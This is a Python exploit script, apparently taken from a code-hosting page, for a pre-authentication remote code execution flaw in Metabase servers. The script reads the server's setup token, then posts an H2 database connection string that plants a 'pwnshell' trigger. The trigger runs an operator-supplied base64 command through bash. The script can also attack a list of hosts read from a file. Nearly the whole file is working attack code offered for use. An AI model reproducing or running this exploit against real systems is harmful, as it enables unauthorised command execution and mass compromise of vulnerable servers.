95 lines
3.6 KiB
Python
95 lines
3.6 KiB
Python
#!/usr/bin/env python3
|
||
# -*- coding:utf-8 -*-
|
||
|
||
import argparse
|
||
import requests
|
||
import base64
|
||
|
||
|
||
def exploit(host, port, cmd, protocol='http://'):
|
||
global setup_token
|
||
target =protocol+ host + ':' + port
|
||
print(f'Attacking {target}')
|
||
url = target + '/api/session/properties'
|
||
step_one = requests.get(url, verify=False)
|
||
result = step_one.json()
|
||
try:
|
||
setup_token = result['setup-token']
|
||
except KeyError as e:
|
||
print("setup-token missed")
|
||
exit(0)
|
||
print(f'[+] setup-token={setup_token}')
|
||
|
||
check_url = target + '/api/setup/validate'
|
||
response = requests.post(check_url, timeout=3,
|
||
verify=False,
|
||
json={
|
||
"token": setup_token,
|
||
"details": {
|
||
"is_on_demand": False,
|
||
"is_full_sync": False,
|
||
"is_sample": False,
|
||
"cache_ttl": None,
|
||
"refingerprint": False,
|
||
"auto_run_queries": True,
|
||
"schedules": {},
|
||
"details": {
|
||
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,%s}|{base64,-d}|{bash,-i}')\n$$--=x"
|
||
% cmd,
|
||
"advanced-options": False,
|
||
"ssl": True,
|
||
},
|
||
"name": "an-sec-research-team",
|
||
"engine": "h2",
|
||
},
|
||
}
|
||
)
|
||
print(f'[+] Server response:\n{response.text}')
|
||
|
||
|
||
if __name__ == '__main__':
|
||
parser = argparse.ArgumentParser(description='exp for cve-2023-38346')
|
||
parser.add_argument('--host', help='输入目标ip')
|
||
parser.add_argument('--file', help='输入包含目标的文件')
|
||
parser.add_argument('--port', default='3000', help='输入目标端口,默认为 3000')
|
||
parser.add_argument('--cmd', type=str, required=True, help='输入目标ip')
|
||
parser.add_argument('--protocol', type=str, default='http', help='输入目标协议,http或https')
|
||
|
||
args = parser.parse_args()
|
||
protocol = args.protocol
|
||
if ':' not in protocol:
|
||
protocol = protocol + '://'
|
||
cmd = str(args.cmd)
|
||
cmd_len = len(cmd)
|
||
if cmd_len % 3 == 0:
|
||
pass
|
||
elif cmd_len % 3 == 1:
|
||
cmd = cmd + ' '
|
||
elif cmd_len % 3 == 2:
|
||
cmd = cmd + ' '
|
||
b64_cmd = base64.b64encode(cmd.encode()).decode()
|
||
|
||
host_file = args.file
|
||
if host_file:
|
||
with open(host_file, 'r') as f:
|
||
for temp_host in f:
|
||
temp_host = temp_host.rstrip('\n')
|
||
if ':' in temp_host:
|
||
host = temp_host.split(':')[0]
|
||
port = temp_host.split(':')[1]
|
||
else:
|
||
host = temp_host
|
||
port = '3000'
|
||
try:
|
||
exploit(host, port, b64_cmd, protocol)
|
||
except Exception as e:
|
||
print(f'Connection error:\n{e}')
|
||
else:
|
||
host = args.host
|
||
port = args.port
|
||
|
||
try:
|
||
exploit(host, port, b64_cmd, protocol)
|
||
except Exception as e:
|
||
print(f'Connection error:\n{e}')
|